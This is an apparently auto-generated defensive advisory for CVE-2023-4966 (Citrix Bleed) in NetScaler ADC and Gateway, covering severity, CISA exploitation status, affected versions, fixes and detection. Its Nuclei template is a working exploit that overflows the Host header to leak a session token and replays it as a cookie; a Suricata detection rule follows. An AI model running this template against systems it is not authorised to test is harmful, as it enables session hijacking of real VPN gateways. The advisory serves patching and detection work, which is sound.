CVE-2023-4966: Citrix NetScaler ADC and NetScaler Gateway Buffer Overflow Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-25 00:24 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA virtual server.
Description quoted from the CVE record (assigned by Citrix, published 2023-10-10).
Weakness: CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
How it can be exploited
Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability low. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.
- On CISA KEV since
- 2023-10-18
- US federal deadline
- 2023-11-08
- Ransomware use
- Yes
Public exploit evidence (Exploit Observer)
Exploit Observer found 1 Metasploit module, 1 Nuclei template, 21 code repositories and 6 research write-ups naming this CVE.
Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.
See all 37 references on Exploit Observer
Live scores
- EPSS
- 1.000
very likely to be attacked soon - VEDAS
- 0.989
strong exploit evidence - On CISA KEV
- Yes, since 2023-10-18
Thin horizontal line: the “likely exploited” threshold (EPSS 0.10, VEDAS 0.5). Shaded “no data” areas are periods when cve-scores did not publish.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| Citrix NetScaler ADC | from 14.1 before 8.50 from 13.1 before 49.15 from 13.0 before 92.19 from 13.1-FIPS before 37.164 from 12.1-FIPS before 55.300 from 12.1-NDcPP before 55.300 | Not stated |
| Citrix NetScaler Gateway | from 14.1 before 8.50 from 13.1 before 49.15 from 13.0 before 92.19 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
Fixed versions stated in the CVE record: 8.50, 49.15, 92.19, 37.164, 55.300.
CISA required action: Apply mitigations and kill all active and persistent sessions per vendor instructions [https://www.netscaler.com/blog/news/cve-2023-4966-critical-security-update-now-available-for-netscaler-adc-and-netscaler-gateway/] OR discontinue use of the product if mitigations are unavailable.
Vendor guidance:
- https://www.netscaler.com/blog/news/cve-2023-4966-critical-security-update-now-available-for-netscaler-adc-and-netscaler-gateway/,
- https://support.citrix.com/article/CTX579459/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20234966-and-cve20234967
- https://nvd.nist.gov/vuln/detail/CVE-2023-4966
How to detect it
Nuclei template (active check)
Citrix - Memory Corruption
Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA virtual server.
Name and description quoted from the template, written by VEDAS.
The template sends 2 requests (GET /oauth/idp/.well-known/openid-configuration, POST /logon/LogonPoint/Authentication/GetUserName); it decides using regex, word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2023-4966.yamlShow the template (62 lines)
id: CVE-2023-4966
info:
name: "Citrix - Memory Corruption"
author: vedas-arpsyndicate
severity: high
description: |
Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN
virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA virtual server.
reference:
- https://www.exploit.observer/?keyword=CVE-2023-4966&match=exact
- https://subdomain.center/?engine=ammonites&keyword=citrix&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-4966
cwe-id: CWE-119,NVD-CWE-noinfo
metadata:
verified: false
tags: cve,cve2023,citrix,adc,info-leak,kev,exposure,vkev,vuln
variables:
payload: '{{repeat("a", 24812)}}'
str: "{{to_lower(rand_text_alpha(4))}}"
http:
- raw:
- |+
GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
{{str}}: {{Hostname}}
Host: {{payload}}
- |+
POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
Host: {{Hostname}}
Cookie: NSC_AAAC={{session}}
unsafe: true
extractors:
- type: regex
name: session
part: body_1
group: 1
regex:
- '([a-f0-9]{100}45525d5f4f58455e445a4a42)'
internal: true
- type: regex
part: body_2
regex:
- '([a-z0-9._]+)'
matchers-condition: and
matchers:
- type: word
words:
- 'NSC_AAAC='
- 'HTTP/1.1'
- type: word
words:
- '{"issuer":'
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2023-4966 Citrix - Memory Corruption. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2023-4966 Citrix - Memory Corruption"; flow:established,to_server; http.uri; content:"/logon/LogonPoint/Authentication/GetUserName"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2023-4966; reference:url,https://www.exploit.observer/?keyword=CVE-2023-4966&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=citrix&match=exact; sid:1009669; rev:1;)
Advisories on this CVE
- Check Point Security Management servers hit in GT13 campaign (full advisory)
References
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-4966 (government-resource)
Other references
- https://support.citrix.com/article/CTX579459
- http://packetstormsecurity.com/files/175323/Citrix-Bleed-Session-Token-Leakage-Proof-Of-Concept.html
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.
Supporting partners